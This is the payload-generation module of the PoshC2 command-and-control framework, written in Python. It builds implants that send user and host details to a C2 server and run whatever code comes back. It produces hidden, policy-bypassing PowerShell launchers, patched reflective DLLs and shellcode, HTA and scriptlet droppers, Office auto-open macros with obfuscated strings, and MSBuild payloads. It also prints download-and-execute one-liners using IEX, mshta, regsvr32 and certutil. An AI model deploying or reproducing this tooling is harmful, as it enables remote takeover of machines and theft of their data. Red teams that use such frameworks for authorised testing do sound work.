PoshC2_Python/Payloads.py

520 lines
1.1 MiB
Python
Raw Normal View History

2018-07-23 08:55:15 +00:00
#!/usr/bin/env python
from Core import *
from Config import *
from Colours import *
import StringIO, gzip, io, base64, subprocess, os, hashlib, re
2018-07-23 08:55:15 +00:00
class Payloads(object):
quickstart = None
def __init__(self, KillDate, Key, HostnameIP, Domainfrontheader, Serverport, Proxyuser, Proxypass, Proxyurl, ImplantType, Proxy,
Insecure, UserAgent, Referer, ConnectURL, BaseDirectory):
self.KillDate = KillDate
self.Key = Key
self.DomainFrontHeader = Domainfrontheader
self.HostnameIP = HostnameIP
self.Serverport = Serverport
self.Proxyuser = Proxyuser
self.Proxypass = Proxypass
self.Proxyurl = Proxyurl
self.Proxy = Proxy
self.ImplantType = ImplantType
self.Insecure = Insecure
self.UserAgent = UserAgent
self.Referer = Referer
self.ConnectURL = ConnectURL
self.BaseDirectory = BaseDirectory
if os.path.exists("%saes.py" % PayloadsDirectory):
with open("%saes.py" % PayloadsDirectory, 'rb') as f:
content = f.read()
import re
m = re.search('#KEY(.+?)#KEY', content);
if m: keyfound = m.group(1)
self.PythonHash = hashlib.sha512(content).hexdigest()
self.PythonKey = keyfound
else:
self.PythonKey = gen_key()
randomkey = self.PythonKey
with open("%saes.py" % FilesDirectory, 'rb') as f:
content = f.read()
aespy = content.replace("#REPLACEKEY#","#KEY%s#KEY" % randomkey)
filename = "%saes.py" % (self.BaseDirectory)
output_file = open(filename, 'w')
output_file.write(aespy)
output_file.close()
self.PythonHash = hashlib.sha512(aespy).hexdigest()
2018-09-04 20:54:03 +00:00
self.Python = """import urllib2,os,sys,base64,ssl,socket,pwd,hashlib,time
kd=time.strptime("%s","%%d/%%m/%%Y")
pyhash="%s"
pykey="%s"
key="%s"
serverclean="%s"
url="%s"
url2="%s"
hh="%s"
ua="%s"
2018-09-04 20:54:03 +00:00
cstr=time.strftime("%%d/%%m/%%Y",time.gmtime());cstr=time.strptime(cstr,"%%d/%%m/%%Y")
ssl._create_default_https_context=ssl._create_unverified_context
if hh: r=urllib2.Request(url,headers={'Host':hh,'User-agent':ua})
else: r=urllib2.Request(url,headers={'User-agent':ua})
2018-08-15 12:33:30 +00:00
res=urllib2.urlopen(r);d=res.read();c=d[1:];b=c.decode("hex")
s=hashlib.sha512(b)
2018-09-04 20:54:03 +00:00
if pykey in b and pyhash == s.hexdigest() and cstr < kd: exec(b)
else: sys.exit(0)
un=pwd.getpwuid( os.getuid() )[ 0 ];pid=os.getpid()
is64=sys.maxsize > 2**32;arch=('x64' if is64 == True else 'x86')
hn=socket.gethostname();o=urllib2.build_opener()
encsid=encrypt(key, '%%s;%%s;%%s;%%s;%%s;%%s' %% (un,hn,hn,arch,pid,serverclean))
if hh:r=urllib2.Request(url2,headers={'Host':hh,'User-agent':ua,'Cookie':'SessionID=%%s' %% encsid})
else:r=urllib2.Request(url2,headers={'User-agent':ua,'Cookie':'SessionID=%%s' %% encsid})
res=urllib2.urlopen(r);html=res.read();x=decrypt(key, html).rstrip('\\0');exec(x)
2018-09-23 07:54:41 +00:00
""" % (self.KillDate,self.PythonHash,self.PythonKey,self.Key,(self.HostnameIP+":"+self.Serverport),(self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_py"),(self.HostnameIP+":"+self.Serverport+self.ConnectURL+"?m"),self.DomainFrontHeader,self.UserAgent)
2018-07-23 08:55:15 +00:00
self.C2Core = """%s
$sc="%s"
$s="%s"
function CAM ($key,$IV){
try {$a = New-Object "System.Security.Cryptography.RijndaelManaged"
} catch {$a = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"}
2018-07-23 08:55:15 +00:00
$a.Mode = [System.Security.Cryptography.CipherMode]::CBC
$a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$a.BlockSize = 128
$a.KeySize = 256
if ($IV)
{
if ($IV.getType().Name -eq "String")
{$a.IV = [System.Convert]::FromBase64String($IV)}
else
{$a.IV = $IV}
}
if ($key)
{
if ($key.getType().Name -eq "String")
{$a.Key = [System.Convert]::FromBase64String($key)}
else
{$a.Key = $key}
}
$a}
function ENC ($key,$un){
$b = [System.Text.Encoding]::UTF8.GetBytes($un)
$a = CAM $key
$e = $a.CreateEncryptor()
$f = $e.TransformFinalBlock($b, 0, $b.Length)
[byte[]] $p = $a.IV + $f
[System.Convert]::ToBase64String($p)
}
function DEC ($key,$enc){
$b = [System.Convert]::FromBase64String($enc)
$IV = $b[0..15]
$a = CAM $key $IV
$d = $a.CreateDecryptor()
$u = $d.TransformFinalBlock($b, 16, $b.Length - 16)
[System.Text.Encoding]::UTF8.GetString($u)}
function Get-Webclient ($Cookie) {
$d = (Get-Date -Format "dd/MM/yyyy");
$d = [datetime]::ParseExact($d,"dd/MM/yyyy",$null);
$k = [datetime]::ParseExact("%s","dd/MM/yyyy",$null);
if ($k -lt $d) {exit}
$username = "%s"
$password = "%s"
$proxyurl = "%s"
$wc = New-Object System.Net.WebClient;
%s
$h="%s"
if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",$h)}
elseif($h){$script:s="https://$($h)%s";$script:sc="https://$($h)"}
$wc.Headers.Add("User-Agent","%s")
$wc.Headers.Add("Referer","%s")
if ($proxyurl) {
$wp = New-Object System.Net.WebProxy($proxyurl,$true);
if ($username -and $password) {
$PSS = ConvertTo-SecureString $password -AsPlainText -Force;
$getcreds = new-object system.management.automation.PSCredential $username,$PSS;
$wp.Credentials = $getcreds;
} else { $wc.UseDefaultCredentials = $true; }
$wc.Proxy = $wp; } else {
$wc.UseDefaultCredentials = $true;
$wc.Proxy.Credentials = $wc.Credentials;
} if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") }
$wc }
function primer {
try{$u=([Security.Principal.WindowsIdentity]::GetCurrent()).name} catch{if ($env:username -eq "$($env:computername)$"){}else{$u=$env:username}}
$o="$env:userdomain;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;%s"
try {$pp=enc -key %s -un $o} catch {$pp="ERROR"}
2018-07-23 08:55:15 +00:00
$primer = (Get-Webclient -Cookie $pp).downloadstring($s)
$p = dec -key %s -enc $primer
if ($p -like "*key*") {$p| iex}
}
try {primer} catch {}
Start-Sleep 300
try {primer} catch {}
Start-Sleep 600
try {primer} catch {}""" % (self.Insecure,(self.HostnameIP+":"+self.Serverport),
(self.HostnameIP+":"+self.Serverport+self.ConnectURL+self.ImplantType),self.KillDate, self.Proxyuser,self.Proxypass,
self.Proxyurl,self.Proxy,self.DomainFrontHeader,self.ConnectURL,self.UserAgent,self.Referer,
(self.HostnameIP+":"+self.Serverport),self.Key,self.Key)
def QuickstartLog( self, txt ):
if not self.quickstart: self.quickstart = ''
print txt
self.quickstart += txt + '\n'
def WriteQuickstart( self, path ):
with open( path, 'w' ) as f:
f.write( self.quickstart + Colours.END )
print ''
print 'Quickstart written to ' + path
def CreateRawBase(self, full=False):
out = StringIO.StringIO()
with gzip.GzipFile(fileobj=out, mode="w") as f:
f.write((self.C2Core))
gzipdata = base64.b64encode(out.getvalue())
b64gzip = "IEX(New-Object IO.StreamReader((New-Object System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String('%s'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()" % gzipdata
batfile = "powershell -exec bypass -Noninteractive -windowstyle hidden -e " + base64.b64encode(b64gzip.encode('UTF-16LE'))
if full:
return batfile
else:
return base64.b64encode(b64gzip.encode('UTF-16LE'))
def CreateRaw(self, name=""):
out = StringIO.StringIO()
with gzip.GzipFile(fileobj=out, mode="w") as f:
f.write((self.C2Core))
gzipdata = base64.b64encode(out.getvalue())
b64gzip = "IEX(New-Object IO.StreamReader((New-Object System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String('%s'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()" % gzipdata
filename = "%s%spayload.txt" % (self.BaseDirectory,name)
output_file = open(filename, 'w')
output_file.write(self.C2Core )
output_file.close()
self.QuickstartLog( "Raw Payload written to: %s" % filename )
batfile = "powershell -exec bypass -Noninteractive -windowstyle hidden -e " + base64.b64encode(b64gzip.encode('UTF-16LE'))
filename = "%s%spayload.bat" % (self.BaseDirectory,name)
output_file = open(filename, 'w')
output_file.write(batfile)
output_file.close()
self.QuickstartLog( "Batch Payload written to: %s" % filename )
def PatchDll(self, filename, dll, offset, name):
filename = "%s%s" % (self.BaseDirectory,filename)
output_file = open(filename, 'wb')
output_file.write(base64.b64decode(dll))
output_file.close()
out = StringIO.StringIO()
with gzip.GzipFile(fileobj=out, mode="w") as f:
f.write((self.C2Core))
gzipdata = base64.b64encode(out.getvalue())
b64gzip = "sal a New-Object;iex(a IO.StreamReader((a System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String(\"%s\"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()" % gzipdata
patchlen = 16000 - len((base64.b64encode(b64gzip.encode('UTF-16LE'))).encode('UTF-16LE'))
patch = (base64.b64encode(b64gzip.encode('UTF-16LE'))).encode('UTF-16LE')
patch2 = ""
patch2 = patch2.ljust( patchlen, '\x00' )
patch3 = "%s%s" % (patch,patch2)
f = open(filename, "r+b")
f.seek(offset)
f.write(patch3)
f.close()
self.QuickstartLog( "%s Payload written to: %s" % (name, filename) )
def CreateDlls(self, name=""):
# Load CLR "v2.0.50727"
self.QuickstartLog( "" + Colours.END )
self.QuickstartLog( "ReflectiveDLL that loads CLR v2.0.50727 - DLL Export (VoidFunc2)" + Colours.GREEN )
v2_86 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADAcg76hBNgqYQTYKmEE2CpMI+RqY0TYKkwj5Op8hNgqTCPkqmcE2CpVndjqJYTYKlWd2SolBNg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AeA6BwAAADMuQNAAIDoEQAAAMzpM/r//8zMzMzMzMzMzMzMSIlcJAhXSIPsIEiLHT9JAQCL+UiLy+hlBwAAM9KLz0iLw0iLXCQwSIPEIF9I/+DMSIlMJAhVV0FWSIPsUEiNbCQwSIldSEiJdVBIiwUvSQEASDPFSIlFEEiL8UiFyXUHM8DpGwEAAEiDy/8PH0QAAEj/w4A8GQB190j/w0iB+////38PhxYBAACJXQQzwIlEJChIiUQkIESLy0yLwTPSM8n/FSmpAABMY/BEiXUAhcB1E/8VEKkAAIXAD4/qAAAA6e0AAABJi85IA8lBgf4AEAAAfSZIjUEPSDvBdwpIuPD///////8PSIPg8OggCwAASCvgSI18JDDrCOg1KAAASIv4SIl9COsRM/9IiX0ISIt1QESLdQCLXQRIhf8PhJgAAABEiXQkKEiJfCQgRIvLTIvGM9Izyf8VlKgAAIXAdR1Bgf4AEA
self.PatchDll("%sPosh_v2_x64.dll" % name, v2_64, 0x00014D00, "DLL")
2018-07-23 08:55:15 +00:00
# Load CLR "v4.0.30319"
self.QuickstartLog( "" + Colours.END )
self.QuickstartLog( "ReflectiveDLL that loads CLR v4.0.30319 - DLL Export (VoidFunc)" + Colours.GREEN )
v4_86 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADAcg76hBNgqYQTYKmEE2CpMI+RqY0TYKkwj5Op8hNgqTCPkqmcE2CpVndjqJYTYKlWd2SolBNgqVZ3ZaigE2CpjWvzqYMTYKmEE2Gp4xNgqW93aaiGE2Cpb3dgqIUTYKlvd5+phRNgqW93YqiFE2CpUmljaIQTYKkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEFAJb06lsAAAAAAAAAAOAAAiELAQ4MAMQAAADcAAAAAAA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qwAASI1NB/8VeasAAEiNTe//FW+rAACDyP/wD8FDEIP4AXUwSIsLSIXJdAr/FSyrAABIgyMASItLCEiFyXQK6F4EAABIg2MIAEmL10iLy+hOBAAASIsPSIXJdAZIiwH/UBBMjZwksAAAAEmLWyBJi3M4SYvjQV9fXcO5DgAHgOgqAAAAzLkOAAeA6B8AAADMuQ4AB4DoFAAAAMy5A0AAgOgJAAAAzOkj+v//zMzMSIlcJAhXSIPsIEiLHU9IAQCL+UiLy+hlBwAAM9KLz0iLw0iLXCQwSIPEIF9I/+DMSIlMJAhVV0FWSIPsUEiNbCQwSIldSEiJdVBIiwU/SAEASDPFSI
self.PatchDll("%sPosh_v4_x64.dll" % name, v4_64, 0x00014F00, "DLL")
2018-07-23 08:55:15 +00:00
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "RunDLL Example:"+Colours.GREEN )
self.QuickstartLog( "rundll32 Posh_x64.dll,VoidFunc" )
def CreateShellcode(self, name=""):
# Load CLR "v2.0.50727"
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "Shellcode that loads CLR v2.0.50727"+Colours.GREEN )
v2_86_offset = 0x000130E0 + 4
v2_86 = "6AAAAABYicMFXwMAAIHDX5kBAGgGAAAAU2hFd2IwUOgEAAAAg8QQw1WL7IPsGFNWV2hMdyYH6EQCAACJRfTHBCRJ9wJ46DUCAABoWKRT5YlF7OgoAgAAaK+xXJSL+OgcAgAAi10Ii3M8g8QMakBoADAAAAPz/3ZQiUXoagD/14vIi0ZUiU38i/uFwHQLK8uKF4gUOUdIdfcPt0YUjXwwLA+3RgaJRQiFwHQvi0f4iw+LV/z/TQgDRfwDy4lV+IXSdA+KEf9N+IgQQEGDffgAdfGDxyiDfQgAddGLnoAAAAADXfzragNF/FD/VfSLC4t7EANN/AN9/IlFCOtIixGF0nQneSWLUDyLVAJ4A9CLASX//wAAK0IQi1IcjRSCi0UIixQCA9CJF+sViw8DTfyDwQJRUP9V7ItN+IkHi0UIg8cEg8EEgz8AiU34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EiLBkiNFcMgAQBIi87/EIXAD4jNAAAAuREAAABMjUXovgAWAABIiXXojVHw/xWbrwAASIvITIvw/xWnrwAASYtOEEiNFZyUAQBEi8bohCcAAEmLzv8VU68AAEiLdVhIhfYPhKoBAABIi03YSIXJdAZIiwH/UBBMiX3YTI1F2EiLBkmL1kiLzv+QaAEAAIXAeFNIi3XYSIX2D4R+AQAASItN0EiFyXQGSIsB/1AQTIl90EyNRdBIiwZIi85IixP/kIgAAACFwHgcSItN0EiJTfBIhcl0BkiLAf9QCEiNTfDoUQEAAEiLTVhIhcl0CkyJfVhIiwH/UBBIi01ISIXJD4QjAQ
2018-07-23 08:55:15 +00:00
self.PatchDll("%sPosh_v2_x64_Shellcode.bin" % name, v2_64, v2_64_offset, "Shellcode")
# Load CLR "v4.0.30319"
self.QuickstartLog( "" +Colours.END )
self.QuickstartLog( "ReflectiveDLL that loads CLR v4.0.30319"+Colours.GREEN )
v4_86_offset = 0x000132E0 + 4
v4_86 = "6AAAAABYicMFXwMAAIHDX50BAGgGAAAAU2hFd2IwUOgEAAAAg8QQw1WL7IPsGFNWV2hMdyYH6EQCAACJRfTHBCRJ9wJ46DUCAABoWKRT5YlF7OgoAgAAaK+xXJSL+OgcAgAAi10Ii3M8g8QMakBoADAAAAPz/3ZQiUXoagD/14vIi0ZUiU38i/uFwHQLK8uKF4gUOUdIdfcPt0YUjXwwLA+3RgaJRQiFwHQvi0f4iw+LV/z/TQgDRfwDy4lV+IXSdA+KEf9N+IgQQEGDffgAdfGDxyiDfQgAddGLnoAAAAADXfzragNF/FD/VfSLC4t7EANN/AN9/IlFCOtIixGF0nQneSWLUDyLVAJ4A9CLASX//wAAK0IQi1IcjRSCi0UIixQCA9CJF+sViw8DTfyDwQJRUP9V7ItN+IkHi0UIg8cEg8EEgz8AiU34dbCDwxSLQwyFwHWPi138K140OYakAAAAdH6LlqAAAAADVfzrbIsKA038g8D40eiNegiJffh0V0iJRQiLRfgPtwBmi/hmwe8MZoP/CnQGZoP/A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H4XrUUH36MH6A4vKwekfA9FryhlEK8FmQYPAQWZGiQQ2SIPGAkiD/h5yzEiLTUhIhcl0BkiLAf9QEEiLTVBMjU1ITIl9SEUzwEmL1kiLAf9QYIXAeSlIi01ISIXJdAZIiwH/UBBIi01QSI1VSEyJfUhIiwH/UGiFwA+ICAEAAEiLdUhIhfYPhB0CAABIi01YSIXJdAZIiwH/UBBMiX1YTI1FWEiLBkiNFQogAQ
2018-07-23 08:55:15 +00:00
self.PatchDll("%sPosh-shellcode_x64.bin" % name, v4_64, v4_64_offset, "Shellcode")
def CreateSCT(self):
basefile = self.CreateRawBase()
raw1 = """<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="VBScript">
Dim ghgfhgfh
set ghgfhgfh = CreateObject("shell.application")
ghgfhgfh.ShellExecute "powershell.exe", " -exec bypass -Noninteractive -windowstyle hidden -e %s", "", "open", 0
</script>
</registration>
</scriptlet>
""" % basefile
raw2 = """<sCrIptlEt><scRIPt>
a=new ActiveXObject("Shell.Application").ShellExecute("powershell.exe"," -exec bypass -Noninteractive -windowstyle hidden -e %s","","open","0");
</scRIPt></sCrIptlEt>
""" % basefile
filename = "%srg_sct.xml" % (self.BaseDirectory)
output_file = open(filename, 'w')
output_file.write(raw1)
filename = "%scs_sct.xml" % (self.BaseDirectory)
output_file.close()
output_file = open(filename, 'w')
output_file.write(raw2)
output_file.close()
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "Execution via Command Prompt"+Colours.GREEN )
psuri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_bs"
pscmd = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (new-object system.net.webclient).downloadstring('%s')" % psuri
psurienc = base64.b64encode(pscmd.encode('UTF-16LE'))
uri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_cs"
self.QuickstartLog( "powershell -exec bypass -Noninteractive -windowstyle hidden -c \"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (new-object system.net.webclient).downloadstring('%s')\"" % psuri )
self.QuickstartLog( "" )
self.QuickstartLog( "powershell -exec bypass -Noninteractive -windowstyle hidden -e %s" % psurienc )
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "Execution via Powershell"+Colours.GREEN )
self.QuickstartLog( "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (new-object system.net.webclient).downloadstring('%s')" % psuri )
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "Other Execution Methods"+Colours.GREEN )
self.QuickstartLog( "mshta.exe vbscript:GetObject(\"script:%s\")(window.close)" % uri )
self.QuickstartLog( "" )
uri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_rg"
self.QuickstartLog( "regsvr32 /s /n /u /i:%s scrobj.dll" % uri )
def CreateHTA(self):
basefile = self.CreateRawBase(full=True)
hta = """<script>
ao=new ActiveXObject("W"+"S"+"cr"+"ip"+"t."+"Sh"+"e"+"l"+"l");
ao.run('%s', 0);window.close();
</script>""" % basefile
self.QuickstartLog( "HTA Payload written to: %sLauncher.hta" % self.BaseDirectory )
filename = "%sLauncher.hta" % (self.BaseDirectory)
output_file = open(filename, 'w')
output_file.write(hta)
output_file.close()
def CreateCS(self):
basefile = self.CreateRawBase()
with open("%sPosh.cs" % FilesDirectory, 'rb') as f:
content = f.read()
cs = content.replace("#REPLACEME#",basefile)
self.QuickstartLog( "CS Payload written to: %sPosh.cs" % self.BaseDirectory )
filename = "%sPosh.cs" % (self.BaseDirectory)
output_file = open(filename, 'w')
output_file.write(cs)
output_file.close()
def CreatePython(self, name=""):
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "OSX Python Payload:"+Colours.GREEN )
py = base64.b64encode(self.Python)
#print self.Python
2018-07-23 08:55:15 +00:00
pydropper = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % py
filename = "%s%spy_dropper.py" % (self.BaseDirectory,name)
2018-08-14 22:40:35 +00:00
output_file = open(filename, 'w')
output_file.write(pydropper)
output_file.close()
2018-07-23 08:55:15 +00:00
self.QuickstartLog( pydropper )
def CreateEXE(self, name=""):
with open("%s%sPosh-shellcode_x64.bin" % (self.BaseDirectory,name), 'rb') as f:
sc64 = f.read()
hexcode = "".join("\\x{:02x}".format(ord(c)) for c in sc64)
sc64 = formStr("char sc[]",hexcode)
with open("%sShellcode.c" % FilesDirectory, 'rb') as f:
content = f.read()
ccode = content.replace("#REPLACEME#",sc64)
self.QuickstartLog( "64bit EXE Payload written to: %s%sPosh64.exe" % (self.BaseDirectory,name) )
filename = "%s%sPosh64.c" % (self.BaseDirectory,name)
output_file = open(filename, 'w')
output_file.write(ccode)
output_file.close()
with open("%sShellcode_migrate.c" % FilesDirectory, 'rb') as f:
content = f.read()
ccode = content.replace("#REPLACEME#",sc64)
self.QuickstartLog( "64bit EXE Payload written to: %s%sPosh64_migrate.exe" % (self.BaseDirectory,name) )
filename = "%s%sPosh64_migrate.c" % (self.BaseDirectory,name)
output_file = open(filename, 'w')
output_file.write(ccode)
output_file.close()
with open("%s%sPosh-shellcode_x86.bin" % (self.BaseDirectory,name), 'rb') as f:
sc32 = f.read()
hexcode = "".join("\\x{:02x}".format(ord(c)) for c in sc32)
sc32 = formStr("char sc[]",hexcode)
with open("%sShellcode.c" % FilesDirectory, 'rb') as f:
content = f.read()
ccode = content.replace("#REPLACEME#",sc32)
self.QuickstartLog( "32bit EXE Payload written to: %s%sPosh32.exe" % (self.BaseDirectory,name) )
filename = "%s%sPosh32.c" % (self.BaseDirectory,name)
output_file = open(filename, 'w')
output_file.write(ccode)
output_file.close()
with open("%sShellcode_migrate.c" % FilesDirectory, 'rb') as f:
content = f.read()
ccode = content.replace("#REPLACEME#",sc32)
self.QuickstartLog( "32bit EXE Payload written to: %s%sPosh32_migrate.exe" % (self.BaseDirectory,name) )
filename = "%s%sPosh32_migrate.c" % (self.BaseDirectory,name)
output_file = open(filename, 'w')
output_file.write(ccode)
output_file.close()
try:
2018-08-09 14:09:07 +00:00
uri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_ex6"
2018-07-23 08:55:15 +00:00
filename = randomuri()
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "Download Posh64.exe using certutil:"+Colours.GREEN )
self.QuickstartLog( "certutil -urlcache -split -f %s %%temp%%\\%s.exe" % (uri,filename) )
if os.name == 'nt':
compile64 = "C:\\TDM-GCC-64\\bin\\gcc.exe %s%sPosh64.c -o %s%sPosh64.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
compile32 = "C:\\TDM-GCC-32\\bin\\gcc.exe %s%sPosh32.c -o %s%sPosh32.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
else:
compile64 = "x86_64-w64-mingw32-gcc %s%sPosh64.c -o %s%sPosh64.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
compile32 = "i686-w64-mingw32-gcc %s%sPosh32.c -o %s%sPosh32.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
subprocess.check_output(compile64, shell=True)
subprocess.check_output(compile32, shell=True)
filename = randomuri()
self.QuickstartLog( ""+Colours.END )
self.QuickstartLog( "Download Posh32.exe using certutil:"+Colours.GREEN )
self.QuickstartLog( "certutil -urlcache -split -f %s %%temp%%\\%s.exe" % (uri,filename) )
if os.name == 'nt':
compile64 = "C:\\TDM-GCC-64\\bin\\gcc.exe %s%sPosh64_migrate.c -o %s%sPosh64_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
compile32 = "C:\\TDM-GCC-32\\bin\\gcc.exe %s%sPosh32_migrate.c -o %s%sPosh32_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
else:
compile64 = "x86_64-w64-mingw32-gcc %s%sPosh64_migrate.c -o %s%sPosh64_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
compile32 = "i686-w64-mingw32-gcc %s%sPosh32_migrate.c -o %s%sPosh32_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name)
subprocess.check_output(compile64, shell=True)
subprocess.check_output(compile32, shell=True)
except Exception as e:
print e
print "apt-get install mingw-w64-tools mingw-w64 mingw-w64-x86-64-dev mingw-w64-i686-dev mingw-w64-common"
def CreateMacro(self, name=""):
basefile = self.CreateRawBase()
strmacro = formStrMacro("str",basefile)
macro="""Sub Auto_Open()
UpdateMacro
End Sub
Sub AutoOpen()
UpdateMacro
End Sub
Sub Workbook_Open()
UpdateMacro
End Sub
Sub WorkbookOpen()
UpdateMacro
End Sub
Sub Document_Open()
UpdateMacro
End Sub
Sub DocumentOpen()
UpdateMacro
End Sub
Sub UpdateMacro()
Dim str, exec
%s
exec = "p"
exec = exec + "o"
exec = exec + "w"
exec = exec + "e"
exec = exec + "r"
exec = exec + "s"
exec = exec + "h"
exec = exec + "e"
exec = exec + "l"
exec = exec + "l"
exec = exec + "."
exec = exec + "e"
exec = exec + "x"
exec = exec + "e"
exec = exec + " -exec bypass -Noninteractive -windowstyle hidden -e " & str
Shell(exec)
End Sub
""" % strmacro
self.QuickstartLog( "Macro Payload written to: %s%smacro.txt" % (self.BaseDirectory,name) )
filename = "%smacro.txt" % (self.BaseDirectory)
output_file = open(filename, 'w')
output_file.write(macro)
output_file.close()
2018-09-16 15:53:44 +00:00
def CreateMsbuild(self, name=""):
x86filename = "%s%s" % (self.BaseDirectory,name+"Posh-shellcode_x86.bin")
x64filename = "%s%s" % (self.BaseDirectory,name+"Posh-shellcode_x64.bin")
with open(x86filename, "rb") as b86:
x86base64 = base64.b64encode(b86.read())
with open(x64filename, "rb") as b64:
x64base64 = base64.b64encode(b64.read())
2018-10-10 07:16:32 +00:00
with open("%scsc.cs" % FilesDirectory, 'rb') as f:
content = f.read()
ccode = content.replace("#REPLACEME32#",x86base64)
ccode = ccode.replace("#REPLACEME64#",x64base64)
2018-10-17 06:48:09 +00:00
filename = "%s%scsc.cs" % (self.BaseDirectory,name)
2018-10-10 07:16:32 +00:00
output_file = open(filename, 'w')
output_file.write(ccode)
output_file.close()
self.QuickstartLog( "" )
self.QuickstartLog( "CSC file written to: %s%scsc.cs" % (self.BaseDirectory,name) )
2018-10-17 06:48:09 +00:00
with open("%smsbuild.xml" % FilesDirectory, 'rb') as f:
msbuild = f.read()
2018-09-16 15:53:44 +00:00
projname = randomuri()
2018-10-17 06:48:09 +00:00
msbuild = msbuild.replace("#REPLACEME32#",x86base64)
msbuild = msbuild.replace("#REPLACEME64#",x64base64)
msbuild = msbuild.replace("#REPLACEMERANDSTRING#",projname)
2018-09-16 15:53:44 +00:00
self.QuickstartLog( "Msbuild file written to: %s%smsbuild.xml" % (self.BaseDirectory,name) )
filename = "%s%smsbuild.xml" % (self.BaseDirectory,name)
output_file = open(filename, 'w')
output_file.write(msbuild)
output_file.close()